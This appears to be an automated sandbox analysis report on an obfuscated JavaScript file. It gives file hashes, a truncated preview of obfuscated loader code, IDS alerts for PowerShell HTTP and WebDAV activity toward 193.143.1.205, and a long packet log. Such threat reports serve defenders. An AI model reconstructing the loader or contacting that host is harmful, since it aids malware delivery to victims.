SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19539), with CRLF line terminators
Entropy (8bit):	4.901801789151027
TrID:
File name:	1474915939307712026.js
File size:	22'947 bytes
MD5:	e9b122e9f84c6d318591ebd76dbb675d
SHA1:	ff4aedb5dd7bd25e0ba58129d37e63980fd0f70e
SHA256:	01831e07353f1ceb7e80032c2df1b73effa00da7ba41edef02d26dc0b6a7c436
SHA512:	4fcc904b902a8a1e193824cf2e91a47aadb67d2750f0d366d630f32ba26920977dbe2b437c5d5faa9c001982d731378e06c3e6720349023c9da6a78baeed5420
SSDEEP:	192:lP0AIPO4r0AjqNNF7D7w78ewqH7FU0rSVn8N07SPucvsvxhK4aG5YYYE5oQozk81:uc6eNROFXrSV8VsbrRfWP/ASKTMA+wbO
TLSH:	99A233461A5ACBF75DF54D74D2A30CF262A8034D0CBD43D5ADD600E41E48AA9EBF8AF4
File Content Preview:	function eqfbjpsc(){ominey=[1031,3079,5127,4103,2055,3072];var dpblayfvc=this[ezoejr+ijgmam+bgicfs+astrs+gvahphgj+xbbjcgd+kwgatvjmu+hocdg](this[gbjgbebgv+ncexajdte+laobktg+bgicfs+qbidg+ezoejr+hocdg][sypyuwao+bgicfs+gvahphgj+ijgmam+hocdg+gvahphgj+lzefmnaek

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:10:33.444032+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T18:10:36.314228+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:10:32.468574047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:32.473618984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:32.473700047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:32.477200985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:32.482096910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.443926096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.443974972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444011927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444031954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.444046974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444083929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444093943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.444118977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444153070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.444418907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444468975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444503069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444535971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.444540977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.444570065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.449095964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.471587896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.471632957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.471657991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.471668005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.471714973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.572969913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.572990894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.573086977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.573111057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.573156118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.573553085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.577627897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.577645063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.577725887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.577866077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.577882051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.578021049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.582330942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.582348108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.582361937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.582389116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.582566023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.582581997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.582596064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.582613945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.582650900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.587100983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.587116003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.587150097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.587349892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.587366104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.587394953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.591780901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.591797113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.591830969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.592012882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.594439983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.595169067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.596477985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.596492052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.596507072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.596534967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.599124908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.599145889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.599183083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.661490917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.661524057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.661571980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.702284098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702303886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702317953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702425957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.702455997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702480078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702496052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702497959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.702517033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702527046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.702533007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.702558041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.703100920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703126907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703141928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703156948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703165054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.703172922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703191996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.703957081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703980923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703996897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.703999043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.704011917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704030037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.704031944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704063892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.704771042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704813957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704828978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704844952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.704854012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704869032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.704891920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.705766916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.705781937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.705796003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.705801964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.705811977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.705826998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.705831051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.705888033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.706578970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.706593990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.706608057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.706631899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.706650972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.706667900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.706688881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.707408905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.707447052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.707449913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.707467079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.707499027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.707540989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.707556009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.707586050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.708280087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.708338022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.708378077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.723191023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723206997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723283052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.723428965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723442078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723464966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723479986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723491907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.723495960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723511934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.723519087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.723545074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.789858103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.789900064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.789932966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.789958954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.789988041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.790007114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.790043116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831273079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831326962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831342936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831368923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831386089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831401110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831415892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831425905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831463099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831470013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831501961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831518888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831535101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831535101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831552982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831562996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831769943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831785917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831800938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831809044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831816912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831830978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831835032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.831860065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.831873894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832048893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832077026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832084894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832098961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832113981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832128048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832154989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832175970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832185030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832191944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832204103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832228899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832511902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832537889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832678080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832700014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832716942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832757950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832772017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832786083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832811117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832823992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832825899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832842112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832856894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832859993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832870007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.832875013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.832905054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833303928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833329916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833345890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833370924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833410025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833424091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833439112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833441973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833455086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833471060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833533049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833548069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833561897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833563089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833585978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833589077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833600998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833616018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833631039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833646059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.833646059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.833664894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834353924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834368944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834384918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834403992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834408998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834422112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834424019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834439039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834448099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834454060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834490061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834492922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834507942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834522009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834536076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834538937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834562063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834563971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834578991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834593058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834606886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.834610939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.834635019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.835324049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835339069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835366011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835380077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835396051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835397005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.835412025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835427046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835441113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.835443020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.835458040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.835469007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.836477041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.841254950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.854558945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.854582071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.854598045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.855065107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.877249956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877270937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877294064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877368927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877371073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.877384901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877403021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877403975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.877418995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877437115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.877439976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.877455950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.918895960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.918957949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.918972969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919001102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919017076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919030905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919045925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919061899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919069052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.919078112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919092894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919110060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919123888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919131994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.919138908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919156075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919162989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.919171095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.919182062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.919207096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960000038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960017920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960041046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960064888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960078955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960092068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960104942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960118055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960144997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960163116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960200071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960241079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960246086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960262060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960294008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:33.960508108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960524082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960541010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:33.960558891 CET	49704	80	192.168.2.5	193.143.1.205
